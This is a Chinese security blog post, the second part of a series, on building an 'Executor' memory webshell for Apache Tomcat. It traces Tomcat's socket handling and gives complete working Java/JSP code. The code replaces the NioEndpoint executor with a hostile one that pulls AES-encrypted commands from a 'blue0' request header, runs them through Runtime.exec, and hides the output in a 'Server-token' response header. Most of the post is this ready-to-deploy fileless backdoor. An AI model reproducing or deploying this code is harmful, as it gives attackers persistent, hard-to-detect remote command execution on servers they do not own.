Executor内存马的实现（二）

字数统计: 3.2k字   |   阅读时长≈ 16分

暂无简介

前言
在《Executor内存马的实现》中我们通过修改NioEndpoint的Executor实现，成功完成了一个Container类型的内存马注入。
但是上文中我提供的代码并不够完善，其中有一个比较明显的问题，内存马的回显需要经过我们多次request才能够实现，我们如何解决这个问题？
正文
为什么会出现这种情况？
前文中我们提到，Tomcat的整体架构可大致分为两块，一部分为用于处理request的Connector，另一部分
为具体实现处理逻辑的Container。
ps：前文中引用的图有问题。

由于处理逻辑过于复杂，为了节约时间，我按照自己的调试思路简单记录了一下：
首先NioEndpoint会从nioChannels中取出一个名为NioChannel的对象：

然后它将会调用poller进行事件注册：

实现register的逻辑如下，其中个人认为比较重要的是NioSocketWrapper的封装，与PollerEvent的注册。

可以看到这个NioSocketWrapper是基于上文获取的NioChannel对象：

addEvent：
......
private void addEvent(NioEndpoint.PollerEvent event) {
this.events.offer(event);
if (this.wakeupCounter.incrementAndGet() == 0L) {
this.selector.wakeup();
}
}
......
public synchronized boolean offer(T t) {
this.queue[this.insert++] = t;
if (this.insert == this.size) {
this.insert = 0;
}
if (this.insert == this.remove) {
this.expand();
}
return true;
}
......

Event添加完成后 Acceptor调用accept方法

通过Poller的prosessKey方法发送给Executor进行相关execute操作：

而前文中提到，我们的恶意代码就在重写的execute方法中：

@Override
public void execute(Runnable command) {
//System.out.println("123");
String cmd = getRequest();
if (cmd.length() > 1) {
try {
Runtime rt = Runtime.getRuntime();
Process process = rt.exec(cmd);
java.io.InputStream in = process.getInputStream();
java.io.InputStreamReader resultReader = new java.io.InputStreamReader(in);
java.io.BufferedReader stdInput = new java.io.BufferedReader(resultReader);
String s = "";
String tmp = "";
while ((tmp = stdInput.readLine()) != null) {
s += tmp;
}
if (s != "") {
byte[] res = s.getBytes(StandardCharsets.UTF_8);
getResponse(res);
}


} catch (IOException e) {
e.printStackTrace();
}
}


this.execute(command, 0L, TimeUnit.MILLISECONDS);
}
}

执行完毕后，SocketProcessor对象会通过process方法将我们的socketWrapper送往真正进行socket处理的processor组件：

socket处理：

最终的read在fill()方法中实现：

private boolean fill(boolean block) throws IOException {
if (log.isDebugEnabled()) {
log.debug("Before fill(): parsingHeader: [" + this.parsingHeader + "], parsingRequestLine: [" + this.parsingRequestLine + "], parsingRequestLinePhase: [" + this.parsingRequestLinePhase + "], parsingRequestLineStart: [" + this.parsingRequestLineStart + "], byteBuffer.position(): [" + this.byteBuffer.position() + "], byteBuffer.limit(): [" + this.byteBuffer.limit() + "], end: [" + this.end + "]");
}
if (this.parsingHeader) {
if (this.byteBuffer.limit() >= this.headerBufferSize) {
if (this.parsingRequestLine) {
this.request.protocol().setString("HTTP/1.1");
}
throw new IllegalArgumentException(sm.getString("iib.requestheadertoolarge.error"));
}
} else {
this.byteBuffer.limit(this.end).position(this.end);
}
int nRead = true;
this.byteBuffer.mark();
int nRead;
try {
if (this.byteBuffer.position() < this.byteBuffer.limit()) {
this.byteBuffer.position(this.byteBuffer.limit());
}
this.byteBuffer.limit(this.byteBuffer.capacity());
nRead = this.wrapper.read(block, this.byteBuffer);
} finally {
this.byteBuffer.limit(this.byteBuffer.position()).reset();
}
if (log.isDebugEnabled()) {
log.debug("Received [" + new String(this.byteBuffer.array(), this.byteBuffer.position(), this.byteBuffer.remaining(), StandardCharsets.ISO_8859_1) + "]");
}
if (nRead > 0) {
return true;
} else if (nRead == -1) {
throw new EOFException(sm.getString("iib.eof.error"));
} else {
return false;
}
}

调用栈如下：

最终通过Socket读取到的最原始的request数据被放入各实例的缓存buffer中：

最后调用invoke方法交给Container处理：

so，观察一下前文的代码，我们执行的位置是在Executor，这个时候Socket流中的数据还没有被read，通过线程遍历获取到的request其实是前一次（或者前几次，跟线程数有关）的缓存数据，所以获取命令需要我们多次进行request请求。

艰难的解决之路
在写这个part之前，其实我并不知晓socket的核心处理点在何处。不得不说偏执是快速解决问题的最大阻碍，通过类似如下的调试代码，我逐一比对buffer部分的变化情况：

byte[] bytes = new byte[10000];
ByteBuffer buf = ByteBuffer.wrap(bytes);
LinkedList linkedList = (LinkedList) getField(getField(getField((Poller)threads[5].target,"selector"),"kqueueWrapper"),"updateList");
for(Object obj : linkedList){
SelectionKey[] selectionKeys =(SelectionKey[]) getField(getField(obj,"channel"),"keys");
for (Object tmp :selectionKeys){
NioEndpoint.NioSocketWrapper nioSocketWrapper = (NioEndpoint.NioSocketWrapper) getField(tmp,"attachment");
nioSocketWrapper.read(false,buf);
}
}
//new String(buf.array(),"UTF-8");

最终才发现，socket的处理点在Executor的处理之后而非之前。
从buffer中获取当次request的想法应该是幻灭了，那么从socket下手又如何呢？

Find Real Socket
之前我固执的认为，Acceptor组件应该为Container处理逻辑的核心，理应重点从其中寻找想要的对象。
但经过测试发现，从Accpetor中获取的Socket无一例外都已处于closed状态，无法重新read（即使通过反射修改其状态，EndPoint组件也会立即抛出异常。）
在重新审视Tomcat的处理逻辑后，最终在Poller中发现了我们的Real NioSocketWrapper对象：

通过其read方法可成功获取当次的request请求：

但这会导致一个问题，由于在Processor组件对socket处理之前我们就已进行过一次read，后续的处理逻辑势必无法再次获取已读取过的request数据：

这该如何解决？
在翻看代码的过程中，我发现NioSocketWrapper父类SocketWrapperBase中，有一个方法名为unRead：

通过查找资料后发现与猜想中的作用大致相同：将已读取过的read数据重新放回socket。

经过测试该方法可行，于是最终实现的代码为：

public String getRequest2(){
Thread[] threads = (Thread[]) ((Thread[]) getField(Thread.currentThread().getThreadGroup(), "threads"));
for (Thread thread : threads) {
if (thread != null) {
String threadName = thread.getName();
if (threadName.contains("Poller")) {
Object target = getField(thread, "target");
if (target instanceof Runnable) {
try {
byte[] bytes = new byte[8192];//Tomcat的NioSocketWrapper中默认buffer大小
ByteBuffer buf = ByteBuffer.wrap(bytes);
try {
LinkedList linkedList = (LinkedList) getField(getField(getField(target, "selector"), "kqueueWrapper"), "updateList");
for (Object obj : linkedList) {
try {
SelectionKey[] selectionKeys = (SelectionKey[]) getField(getField(obj, "channel"), "keys");
for (Object tmp : selectionKeys) {
try {
NioEndpoint.NioSocketWrapper nioSocketWrapper = (NioEndpoint.NioSocketWrapper) getField(tmp, "attachment");
try {
nioSocketWrapper.read(false, buf);
String a = new String(buf.array(), "UTF-8");
if (a.indexOf("blue0") > -1) {
System.out.println(a.indexOf("blue0"));
System.out.println(a.indexOf("\r", a.indexOf("blue0")));
String b = a.substring(a.indexOf("blue0") + "blue0".length() + 2, a.indexOf("\r", a.indexOf("blue0")));
b = decode(DEFAULT_SECRET_KEY, b);
buf.position(0);
nioSocketWrapper.unRead(buf);
//System.out.println(b);
//System.out.println(new String(buf.array(), "UTF-8"));
return b;
}
else{
buf.position(0);
nioSocketWrapper.unRead(buf);
continue;
}
} catch (Exception e) {
nioSocketWrapper.unRead(buf);
}
} catch (Exception e) {
continue;
}
}
} catch (Exception e) {
continue;
}
}
} catch (Exception var11) {
System.out.println(var11);
continue;
}
} catch (Exception ignored) {
}
}
}
if (threadName.contains("exec")) {
return new String();
} else {
continue;
}
}
}
return new String();
}

上述代码中有一处 buf.position(0)的操作，其实是跟ByteBuffer的本身结构与read的实现逻辑有关，具体就不展开了，感兴趣的师傅可以跟一下过程。
以url中结尾的数字来测试实效性：

jsp2.0
另外由于Tomcat在实现默认线程池与自定义线程池时所用的Executor有些许差别，已在代码中进行修改。

<%@ page import="org.apache.tomcat.util.net.NioEndpoint" %>
<%@ page import="org.apache.tomcat.util.threads.ThreadPoolExecutor" %>
<%@ page import="java.util.concurrent.TimeUnit" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="java.util.concurrent.BlockingQueue" %>
<%@ page import="java.util.concurrent.ThreadFactory" %>
<%@ page import="java.nio.ByteBuffer" %>
<%@ page import="java.util.ArrayList" %>
<%@ page import="org.apache.coyote.RequestInfo" %>
<%@ page import="org.apache.coyote.Response" %>
<%@ page import="java.io.IOException" %>
<%@ page import="java.nio.charset.StandardCharsets" %>
<%@ page import="com.example.java_backdoor.Executor_ms" %>
<%@ page import="org.apache.catalina.core.StandardThreadExecutor" %>
<%@ page import="java.util.LinkedList" %>
<%@ page import="java.nio.channels.SelectionKey" %>
<%@ page contentType="text/html;charset=UTF-8" language="java" %>


<%!
public static final String DEFAULT_SECRET_KEY = “blueblueblueblue”;
private static final String AES = “AES”;
private static final byte[] KEY_VI = “blueblueblueblue”.getBytes();
private static final String CIPHER_ALGORITHM = “AES/CBC/PKCS5Padding”;
private static java.util.Base64.Encoder base64Encoder = java.util.Base64.getEncoder();
private static java.util.Base64.Decoder base64Decoder = java.util.Base64.getDecoder();
public static String decode(String key, String content) {
try {
javax.crypto.SecretKey secretKey = new javax.crypto.spec.SecretKeySpec(key.getBytes(), AES);
javax.crypto.Cipher cipher = javax.crypto.Cipher.getInstance(CIPHER_ALGORITHM);
cipher.init(javax.crypto.Cipher.DECRYPT_MODE, secretKey, new javax.crypto.spec.IvParameterSpec(KEY_VI));
byte[] byteContent = base64Decoder.decode(content);
byte[] byteDecode = cipher.doFinal(byteContent);
return new String(byteDecode, java.nio.charset.StandardCharsets.UTF_8);
} catch (Exception e) {
e.printStackTrace();
}
return null;
}
public static String encode(String key, String content) {
try {
javax.crypto.SecretKey secretKey = new javax.crypto.spec.SecretKeySpec(key.getBytes(), AES);
javax.crypto.Cipher cipher = javax.crypto.Cipher.getInstance(CIPHER_ALGORITHM);
cipher.init(javax.crypto.Cipher.ENCRYPT_MODE, secretKey, new javax.crypto.spec.IvParameterSpec(KEY_VI));
byte[] byteEncode = content.getBytes(java.nio.charset.StandardCharsets.UTF_8);
byte[] byteAES = cipher.doFinal(byteEncode);
return base64Encoder.encodeToString(byteAES);
} catch (Exception e) {
e.printStackTrace();
}
return null;
}


public Object getField(Object object, String fieldName) {
Field declaredField;
Class clazz = object.getClass();
while (clazz != Object.class) {
try {
declaredField = clazz.getDeclaredField(fieldName);
declaredField.setAccessible(true);
return declaredField.get(object);
} catch (NoSuchFieldException | IllegalAccessException e) {
}
clazz = clazz.getSuperclass();
}
return null;
}


public Object getStandardService() {
Thread[] threads = (Thread[]) this.getField(Thread.currentThread().getThreadGroup(), “threads”);
for (Thread thread : threads) {
if (thread == null) {
continue;
}
if ((thread.getName().contains(“Acceptor”)) && (thread.getName().contains(“http”))) {
Object target = this.getField(thread, “target”);
Object jioEndPoint = null;
try {
jioEndPoint = getField(target, “this$0”);
} catch (Exception e) {
}
if (jioEndPoint == null) {
try {
jioEndPoint = getField(target, “endpoint”);
} catch (Exception e) {
new Object();
}
} else {
return jioEndPoint;
}
}
}
return new Object();
}
public class threadexcutor extends ThreadPoolExecutor {
public threadexcutor(int corePoolSize, int maximumPoolSize, long keepAliveTime, TimeUnit unit, BlockingQueue<Runnable> workQueue, ThreadFactory threadFactory, RejectedExecutionHandler handler) {
super(corePoolSize, maximumPoolSize, keepAliveTime, unit, workQueue, threadFactory, handler);
}
public String getRequest() {
try {
Thread[] threads = (Thread[]) ((Thread[]) getField(Thread.currentThread().getThreadGroup(), “threads”));
for (Thread thread : threads) {
if (thread != null) {
String threadName = thread.getName();
if (!threadName.contains(“exec”) && threadName.contains(“Acceptor”)) {
Object target = getField(thread, “target”);
if (target instanceof Runnable) {
try {
Object[] objects = (Object[]) getField(getField(getField(target, “this$0”), “nioChannels”), “stack”);
ByteBuffer heapByteBuffer = (ByteBuffer) getField(getField(objects[0], “appReadBufHandler”), “byteBuffer”);
String a = new String(heapByteBuffer.array(), “UTF-8”);
if (a.indexOf(“blue0”) > -1) {
System.out.println(a.indexOf(“blue0”));
System.out.println(a.indexOf(“\r”, a.indexOf(“blue0”)) - 1);
String b = a.substring(a.indexOf(“blue0”) + “blue0”.length() + 1, a.indexOf(“\r”, a.indexOf(“blue0”)) - 1);
b = decode(DEFAULT_SECRET_KEY, b);
return b;
}
} catch (Exception var11) {
System.out.println(var11);
continue;
}


}
}
}
}
} catch (Exception ignored) {
}
return new String();
}
public String getRequest2(){
Thread[] threads = (Thread[]) ((Thread[]) getField(Thread.currentThread().getThreadGroup(), “threads”));
for (Thread thread : threads) {
if (thread != null) {
String threadName = thread.getName();
if (threadName.contains(“Poller”)) {
Object target = getField(thread, “target”);
if (target instanceof Runnable) {
try {
byte[] bytes = new byte[8192];
ByteBuffer buf = ByteBuffer.wrap(bytes);
try {
LinkedList linkedList = (LinkedList) getField(getField(getField(target, “selector”), “kqueueWrapper”), “updateList”);
for (Object obj : linkedList) {
try {
SelectionKey[] selectionKeys = (SelectionKey[]) getField(getField(obj, “channel”), “keys”);
for (Object tmp : selectionKeys) {
try {
NioEndpoint.NioSocketWrapper nioSocketWrapper = (NioEndpoint.NioSocketWrapper) getField(tmp, “attachment”);
try {
nioSocketWrapper.read(false, buf);
String a = new String(buf.array(), “UTF-8”);
if (a.indexOf(“blue0”) > -1) {
System.out.println(a.indexOf(“blue0”));
System.out.println(a.indexOf(“\r”, a.indexOf(“blue0”)));
String b = a.substring(a.indexOf(“blue0”) + “blue0”.length() + 2, a.indexOf(“\r”, a.indexOf(“blue0”)));
b = decode(DEFAULT_SECRET_KEY, b);
buf.position(0);
nioSocketWrapper.unRead(buf);
System.out.println(b);
System.out.println(new String(buf.array(), “UTF-8”));
return b;
}
else{
buf.position(0);
nioSocketWrapper.unRead(buf);
continue;
}
} catch (Exception e) {
nioSocketWrapper.unRead(buf);
}
} catch (Exception e) {
continue;
}
}
} catch (Exception e) {
continue;
}
}
} catch (Exception var11) {
System.out.println(var11);
continue;
}
} catch (Exception ignored) {
}
}
}
if (threadName.contains(“exec”)) {
return new String();
} else {
continue;
}
}
}
return new String();
}


public void getResponse(byte[] res) {
try {
Thread[] threads = (Thread[]) ((Thread[]) getField(Thread.currentThread().getThreadGroup(), “threads”));
for (Thread thread : threads) {
if (thread != null) {
String threadName = thread.getName();
if (!threadName.contains(“exec”) && threadName.contains(“Acceptor”)) {
Object target = getField(thread, “target”);
if (target instanceof Runnable) {
try {
ArrayList objects = (ArrayList) getField(getField(getField(getField(target, “this$0”), “handler”), “global”), “processors”);
for (Object tmp_object : objects) {
RequestInfo request = (RequestInfo) tmp_object;
Response response = (Response) getField(getField(request, “req”), “response”);
response.addHeader(“Server-token”, encode(DEFAULT_SECRET_KEY,new String(res, “UTF-8”)));
}
} catch (Exception var11) {
continue;
}
}
}
}
}
} catch (Exception ignored) {
}
}


@Override
public void execute(Runnable command) {
//System.out.println(“123”);
String cmd = getRequest2();
if (cmd.length() > 1) {
try {
Runtime rt = Runtime.getRuntime();
Process process = rt.exec(cmd);
java.io.InputStream in = process.getInputStream();
java.io.InputStreamReader resultReader = new java.io.InputStreamReader(in);
java.io.BufferedReader stdInput = new java.io.BufferedReader(resultReader);
String s = “”;
String tmp = “”;
while ((tmp = stdInput.readLine()) != null) {
s += tmp;
}
if (s != “”) {
byte[] res = s.getBytes(StandardCharsets.UTF_8);
getResponse(res);
}


} catch (IOException e) {
e.printStackTrace();
}
}


this.execute(command, 0L, TimeUnit.MILLISECONDS);
}
}


%>
<%


NioEndpoint nioEndpoint = (NioEndpoint) getStandardService();
try {
ThreadPoolExecutor exec = (ThreadPoolExecutor) getField(nioEndpoint, “executor”);
Executor_ms.threadexecutor exe = new Executor_ms.threadexecutor(exec.getCorePoolSize(), exec.getMaximumPoolSize(), exec.getKeepAliveTime(TimeUnit.MILLISECONDS), TimeUnit.MILLISECONDS, exec.getQueue(), exec.getThreadFactory(), exec.getRejectedExecutionHandler());
nioEndpoint.setExecutor(exe);
}catch (ClassCastException e){
StandardThreadExecutor standardexec = (StandardThreadExecutor) getField(nioEndpoint, “executor”);
ThreadPoolExecutor exec = (ThreadPoolExecutor) getField(standardexec, “executor”);
Executor_ms.threadexecutor exe = new Executor_ms.threadexecutor(exec.getCorePoolSize(), exec.getMaximumPoolSize(), exec.getKeepAliveTime(TimeUnit.MILLISECONDS), TimeUnit.MILLISECONDS, exec.getQueue(), exec.getThreadFactory(), exec.getRejectedExecutionHandler());
nioEndpoint.setExecutor(exe);
}
%>


public String getRequest2(){
Thread[] threads = (Thread[]) ((Thread[]) getField(Thread.currentThread().getThreadGroup(), “threads”));
for (Thread thread : threads) {
if (thread != null) {
String threadName = thread.getName();
if (threadName.contains(“Poller”)) {
Object target = getField(thread, “target”);
if (target instanceof Runnable) {
try {
byte[] bytes = new byte[8192];
ByteBuffer buf = ByteBuffer.wrap(bytes);
try {
LinkedList linkedList = (LinkedList) getField(getField(getField(target, “selector”), “kqueueWrapper”), “updateList”);
for (Object obj : linkedList) {
try {
SelectionKey[] selectionKeys = (SelectionKey[]) getField(getField(obj, “channel”), “keys”);
for (Object tmp : selectionKeys) {
try {
NioEndpoint.NioSocketWrapper nioSocketWrapper = (NioEndpoint.NioSocketWrapper) getField(tmp, “attachment”);
try {
nioSocketWrapper.read(false, buf);
String a = new String(buf.array(), “UTF-8”);
if (a.indexOf(“blue0”) > -1) {
System.out.println(a.indexOf(“blue0”));
System.out.println(a.indexOf(“\r”, a.indexOf(“blue0”)));
String b = a.substring(a.indexOf(“blue0”) + “blue0”.length() + 2, a.indexOf(“\r”, a.indexOf(“blue0”)));
b = decode(DEFAULT_SECRET_KEY, b);
buf.position(0);
nioSocketWrapper.unRead(buf);
System.out.println(b);
System.out.println(new String(buf.array(), “UTF-8”));
return b;
}
else{
buf.position(0);
nioSocketWrapper.unRead(buf);
continue;
}
} catch (Exception e) {
buf.position(0);
nioSocketWrapper.unRead(buf);
}
} catch (NoClassDefFoundError e) {
KeyAttachment keyAttachment = (KeyAttachment) getField(tmp, “attachment”);
NioChannel nioChannel = keyAttachment.getSocket();
try {
nioChannel.read(buf);
String a = new String(buf.array(), “UTF-8”);
if (a.indexOf(“blue0”) > -1) {
System.out.println(a.indexOf(“blue0”));
System.out.println(a.indexOf(“\r”, a.indexOf(“blue0”)));
String b = a.substring(a.indexOf(“blue0”) + “blue0”.length() + 2, a.indexOf(“\r”, a.indexOf(“blue0”)));
b = decode(DEFAULT_SECRET_KEY, b);
buf.position(0);
nioChannel.getBufHandler().getReadBuffer().put(buf);
System.out.println(b);
System.out.println(new String(buf.array(), “UTF-8”));
return b;
}
else{
buf.position(0);
nioChannel.getBufHandler().getReadBuffer().put(buf);
continue;
}
} catch (Exception b) {
buf.position(0);
nioChannel.getBufHandler().getReadBuffer().put(buf);
}
continue;
}
}
} catch (Exception e) {
continue;
}
}
} catch (Exception var11) {
System.out.println(var11);
continue;
}
} catch (Exception ignored) {
}
}
}
if (threadName.contains(“exec”)) {
return new String();
} else {
continue;
}
}
}
return new String();
}

后记
仍请忽略我拙劣的coding能力，代码中仍存在一些问题（比如回显size过大导致的response header溢出错误。）
ps：更正一个错误，Tomcat8.0以前版本在处理io时直接使用NioChannel.read(buf)作为获取数据流的方法，而不同于8.5版本使用封装类SocketWrapperBase，故其中的处理逻辑不支持read()后将buf再重新放回原有的socket（这个说法其实并不准确，其实是tomcat在SocketWrapperBase中手动实现了一个transform方法将已读出的read数据放入后续需要进行处理的read buffer中），所以对于8.0以前的版本文中所提到的截获socket的方法可能并不适用，还是得使用缓存实现。


  • 本文作者： bluE0
  • 本文来源： 先知社区
  • 原文链接： https://xz.aliyun.com/t/11613
  • 版权声明： 除特别声明外，本文各项权利归原文作者和发表平台所有。转载请注明出处！
赏

谢谢你请我吃糖果

支付宝
微信

扫一扫，分享到微信

tag:

    缺失模块。
    1、请确保node版本大于6.2
    2、在博客根目录（注意不是yilia-plus根目录）执行以下命令：
    npm i hexo-generator-json-content --save

    3、在根目录_config.yml里添加配置： 

      jsonContent:
    meta: false
    pages: false
    posts:
      title: true
      date: true
      path: true
      text: false
      raw: false
      content: false
      slug: false
      updated: false
      comments: false
      link: false
      permalink: false
      excerpt: false
      categories: false
      tags: true

俗话说“好记性不如烂笔头”，各个安全社区各自为战，当我们想要搜索某一方面的文章的时候总是得在各个平台之间来回横跳，于是乎，一个平台文章聚合搜索的想法诞生了。
然后正好我想有一个自己的博客，于是乎两者融合在了一起。
下面简单介绍各个导航的区别：
个人文章：本人的笔记、复现、总结等或者本人参与的共同创作。
收集文章：手工从公众号收集保存的文章，更新频率看本人喜好所以比较慢。
聚合文章：从各大平台收集整理，由工具实现，每天更新。
很惭愧，只做了一点微小的工作。